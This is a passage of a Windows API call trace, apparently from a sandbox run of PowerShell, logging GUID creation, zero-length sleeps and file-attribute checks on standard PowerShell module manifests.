out: pguid=0x2504c7eb68*(Data1=0x23af243c, Data2=0xa58f, Data3=0x4a7c, Data4=([0]=0x80, [1]=0x55, [2]=0xc5, [3]=0x11, [4]=0x9b, [5]=0x63, [6]=0x28, [7]=0x59))) returned 0x0 [0121.914] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x674f9005, Data2=0x83d0, Data3=0x44fe, Data4=([0]=0xa0, [1]=0x45, [2]=0x5a, [3]=0x5f, [4]=0x40, [5]=0xac, [6]=0xe4, [7]=0xc0))) returned 0x0 [0121.914] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb8828e58, Data2=0x8fc1, Data3=0x4c42, Data4=([0]=0x92, [1]=0x41, [2]=0xaf, [3]=0x64, [4]=0x6c, [5]=0xd0, [6]=0x2c, [7]=0x6f))) returned 0x0 [0122.089] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x94acc806, Data2=0xf712, Data3=0x457b, Data4=([0]=0x91, [1]=0x8e, [2]=0xde, [3]=0x80, [4]=0x99, [5]=0xc0, [6]=0xb1, [7]=0xd4))) returned 0x0 [0122.096] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x20a86fff, Data2=0xa7c9, Data3=0x4e5d, Data4=([0]=0xa6, [1]=0xe5, [2]=0xe6, [3]=0x52, [4]=0xac, [5]=0x9, [6]=0xf5, [7]=0x9))) returned 0x0 [0122.100] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x34fdadc5, Data2=0x41f8, Data3=0x4161, Data4=([0]=0x93, [1]=0x95, [2]=0x45, [3]=0xd, [4]=0x3b, [5]=0x71, [6]=0x43, [7]=0xfd))) returned 0x0 [0122.102] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x6f3e333d, Data2=0xaf2e, Data3=0x4c72, Data4=([0]=0xa4, [1]=0xc9, [2]=0x9, [3]=0xc3, [4]=0xf5, [5]=0xb5, [6]=0xbe, [7]=0x2f))) returned 0x0 [0122.104] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x65d2cc12, Data2=0x971b, Data3=0x4836, Data4=([0]=0xae, [1]=0xf4, [2]=0x9, [3]=0xc7, [4]=0x2f, [5]=0xae, [6]=0x5b, [7]=0x47))) returned 0x0 [0122.107] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x3ad84f94, Data2=0x99f4, Data3=0x417f, Data4=([0]=0xb4, [1]=0x7b, [2]=0x79, [3]=0x8d, [4]=0xac, [5]=0xe6, [6]=0x84, [7]=0xb1))) returned 0x0 [0122.109] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xf8b86e09, Data2=0xeeb5, Data3=0x40a0, Data4=([0]=0xa9, [1]=0x99, [2]=0x89, [3]=0xe4, [4]=0x1b, [5]=0xe7, [6]=0xd5, [7]=0x4e))) returned 0x0 [0122.111] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x7b14da72, Data2=0x4278, Data3=0x4d93, Data4=([0]=0xb1, [1]=0xc7, [2]=0xc5, [3]=0xc5, [4]=0x9f, [5]=0xf8, [6]=0x7a, [7]=0xe8))) returned 0x0 [0122.114] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xea80940, Data2=0x8021, Data3=0x4623, Data4=([0]=0x99, [1]=0x94, [2]=0x30, [3]=0x68, [4]=0x16, [5]=0x5c, [6]=0xed, [7]=0x8))) returned 0x0 [0122.114] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x59ad9ac1, Data2=0xa457, Data3=0x4713, Data4=([0]=0xa1, [1]=0x8a, [2]=0x42, [3]=0x60, [4]=0x8a, [5]=0xff, [6]=0x18, [7]=0xf7))) returned 0x0 [0122.116] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x78eaab06, Data2=0x3581, Data3=0x4803, Data4=([0]=0xab, [1]=0x8d, [2]=0x87, [3]=0x46, [4]=0x4b, [5]=0xd7, [6]=0x8c, [7]=0x8c))) returned 0x0 [0122.118] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x5665c8d1, Data2=0x8c66, Data3=0x4683, Data4=([0]=0x9a, [1]=0xa3, [2]=0x96, [3]=0x7b, [4]=0xd0, [5]=0xa9, [6]=0xba, [7]=0x93))) returned 0x0 [0122.120] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb5474ccd, Data2=0x125e, Data3=0x476f, Data4=([0]=0x9b, [1]=0x2a, [2]=0xa4, [3]=0xae, [4]=0xc6, [5]=0x9b, [6]=0x25, [7]=0x90))) returned 0x0 [0122.121] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x3e0c1efd, Data2=0xda3d, Data3=0x42ff, Data4=([0]=0xb3, [1]=0xc0, [2]=0xb9, [3]=0x5d, [4]=0xd5, [5]=0x6b, [6]=0x75, [7]=0x63))) returned 0x0 [0122.123] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xc0f88e55, Data2=0x6d00, Data3=0x49aa, Data4=([0]=0x82, [1]=0x30, [2]=0x4c, [3]=0x3f, [4]=0xef, [5]=0x5e, [6]=0xb5, [7]=0x39))) returned 0x0 [0122.124] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x82236a9e, Data2=0xce3b, Data3=0x4c4f, Data4=([0]=0xbb, [1]=0xf6, [2]=0x18, [3]=0xe6, [4]=0xab, [5]=0x18, [6]=0xca, [7]=0xfe))) returned 0x0 [0122.124] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x12c70b26, Data2=0xc636, Data3=0x417f, Data4=([0]=0x8d, [1]=0x72, [2]=0xb0, [3]=0xb9, [4]=0x8a, [5]=0xf7, [6]=0x6f, [7]=0x76))) returned 0x0 [0122.127] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x258e7b97, Data2=0x33b3, Data3=0x473e, Data4=([0]=0xb2, [1]=0xf2, [2]=0x5, [3]=0x2a, [4]=0xad, [5]=0x5f, [6]=0x54, [7]=0x97))) returned 0x0 [0122.128] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x169286de, Data2=0xd38d, Data3=0x4fca, Data4=([0]=0x8b, [1]=0x1b, [2]=0x58, [3]=0xfe, [4]=0x1, [5]=0x98, [6]=0x3e, [7]=0x65))) returned 0x0 [0122.212] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x10eddf11, Data2=0x1396, Data3=0x4ef7, Data4=([0]=0x85, [1]=0x65, [2]=0x2d, [3]=0xc5, [4]=0xac, [5]=0x99, [6]=0x35, [7]=0x68))) returned 0x0 [0122.213] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x5be6957f, Data2=0xc5df, Data3=0x4f3a, Data4=([0]=0xb1, [1]=0x9, [2]=0x6f, [3]=0x25, [4]=0xbe, [5]=0x40, [6]=0x67, [7]=0x8d))) returned 0x0 [0122.215] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xb4ff6caf, Data2=0x7cda, Data3=0x4e75, Data4=([0]=0xa8, [1]=0x28, [2]=0x69, [3]=0x23, [4]=0xf9, [5]=0x5a, [6]=0x2c, [7]=0xda))) returned 0x0 [0122.216] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0x70a02915, Data2=0xa1f, Data3=0x491d, Data4=([0]=0xbd, [1]=0x31, [2]=0x49, [3]=0xf2, [4]=0xa9, [5]=0xed, [6]=0xec, [7]=0xdb))) returned 0x0 [0122.218] CoCreateGuid (in: pguid=0x2504c7eb68 | out: pguid=0x2504c7eb68*(Data1=0xe9da20, Data2=0xb51, Data3=0x44dc, Data4=([0]=0x82, [1]=0xd6, [2]=0x32, [3]=0x10, [4]=0x9, [5]=0x47, [6]=0x36, [7]=0xc7))) returned 0x0 [0122.219] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.397] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.449] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.507] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.063] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.716] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.804] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.858] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.910] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.966] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.004] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.069] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.132] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.208] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.254] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.301] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.348] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.396] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.442] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.489] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.546] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.646] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.657] CoCreateGuid (in: pguid=0x2504c7e198 | out: pguid=0x2504c7e198*(Data1=0x2bf94c20, Data2=0xec2a, Data3=0x4b50, Data4=([0]=0xb2, [1]=0xa1, [2]=0xb0, [3]=0xb8, [4]=0xff, [5]=0xa9, [6]=0x68, [7]=0x6b))) returned 0x0 [0128.659] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.861] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0128.955] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.080] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.133] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.177] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.240] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.286] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.410] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.504] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.616] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.692] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.739] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.786] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0129.880] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.815] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.867] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0132.993] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0133.393] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0133.521] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0133.627] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0133.735] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0133.941] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0134.047] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0134.132] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0134.550] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0134.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0135.086] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0135.609] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0135.791] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0135.924] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.071] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.163] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.246] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.336] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.450] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.689] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.774] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.868] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0136.976] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0137.120] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0137.210] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0137.308] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0137.417] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0137.507] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0137.707] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.218] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.404] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.533] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.686] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.773] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.864] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.959] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.005] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.082] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.176] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.582] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.676] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.770] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0151.973] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.093] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.161] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.694] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0152.995] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0153.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0153.192] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0153.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0153.900] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.009] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.194] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.803] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.843] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0154.938] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0155.041] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504c7f4b8 | out: UnbiasedTime=0x2504c7f4b8) returned 1 [0155.041] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x2504c7f468 | out: UnbiasedTime=0x2504c7f468) returned 1 [0155.043] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1")) returned 0x20 [0155.044] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice\\PnpDevice.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice\\pnpdevice.psd1")) returned 0x20 [0155.047] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient\\VpnClient.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient\\vpnclient.psd1")) returned 0x20 [0155.049] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob\\PSScheduledJob.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob\\psscheduledjob.psd1")) returned 0x20 [0155.049] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration\\PSDesiredStateConfiguration.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration\\psdesiredstateconfiguration.psd1")) returned 0x20 [0155.051] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting\\WindowsErrorReporting.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting\\windowserrorreporting.psd1")) returned 0x20 [0155.052] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets\\CimCmdlets.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\cimcmdlets\\cimcmdlets.psd1")) returned 0x20 [0155.052] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\MsDtc\\MsDtc.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\msdtc\\msdtc.psd1")) returned 0x20 [0155.056] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP\\NetTCPIP.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip\\nettcpip.psd1")) returned 0x20 [0155.063] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE\\ISE.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\ise\\ise.psd1")) returned 0x20 [0155.064] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline\\1.1\\PSReadline.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline\\1.1\\psreadline.psd1")) returned 0x20 [0155.064] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\BranchCache\\BranchCache.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\branchcache\\branchcache.psd1")) returned 0x20 [0155.065] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics\\Microsoft.PowerShell.Diagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics\\microsoft.powershell.diagnostics.psd1")) returned 0x20 [0155.066] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Storage\\Storage.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\storage\\storage.psd1")) returned 0x20 [0155.068] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetQos\\NetQos.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netqos\\netqos.psd1")) returned 0x20 [0155.069] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetAdapter\\NetAdapter.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netadapter\\netadapter.psd1")) returned 0x20 [0155.071] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\DirectAccessClientComponents\\DirectAccessClientComponents.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\directaccessclientcomponents\\directaccessclientcomponents.psd1")) returned 0x20 [0155.071] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate\\WindowsUpdate.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate\\windowsupdate.psd1")) returned 0x20 [0155.071] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition\\NetworkTransition.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition\\networktransition.psd1")) returned 0x20 [0155.073] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psd1")) returned 0x20 [0155.077] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks\\ScheduledTasks.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks\\scheduledtasks.psd1")) returned 0x20 [0155.080] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetConnection\\NetConnection.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netconnection\\netconnection.psd1")) returned 0x20 [0155.082] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\iSCSI\\iSCSI.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\iscsi\\iscsi.psd1")) returned 0x20 [0155.083] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus\\NetworkConnectivityStatus.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus\\networkconnectivitystatus.psd1")) returned 0x20 [0155.085] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.3.5\\pester.psm1")) returned 0x20 [0155.087] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam\\NetSwitchTeam.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam\\netswitchteam.psd1")) returned 0x20 [0155.089] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0155.092] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0155.092] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetLbfo\\NetLbfo.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netlbfo\\netlbfo.psd1")) returned 0x20 [0155.095] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TLS\\TLS.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\tls\\tls.psd1")) returned 0x20 [0155.096] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics\\PSDiagnostics.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics\\psdiagnostics.psd1")) returned 0x20 [0155.096] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PSModule.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\psmodule.psm1")) returned 0x20 [0155.097] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Pester.psm1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.4.0\\pester.psm1")) returned 0x20 [0155.097] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\AppLocker\\AppLocker.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\applocker\\applocker.psd1")) returned 0x20 [0155.098] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Microsoft.PowerShell.Operation.Validation.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation\\1.0.1\\microsoft.powershell.operation.validation.psd1")) returned 0x20 [0155.098] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule\\TrustedPlatformModule.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule\\trustedplatformmodule.psd1")) returned 0x20 [0155.099] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack\\TroubleshootingPack.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\troubleshootingpack\\troubleshootingpack.psd1")) returned 0x20 [0155.099] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV\\UEV.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev\\uev.psd1")) returned 0x20 [0155.099] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0155.101] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\EventTracingManagement\\EventTracingManagement.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\eventtracingmanagement\\eventtracingmanagement.psd1")) returned 0x20 [0155.103] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\pester.psd1")) returned 0x20 [0155.105] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Dism\\Dism.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\dism\\dism.psd1")) returned 0x20 [0155.105] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0155.106] GetFileAttributesW (lpFileName="C:\\Program 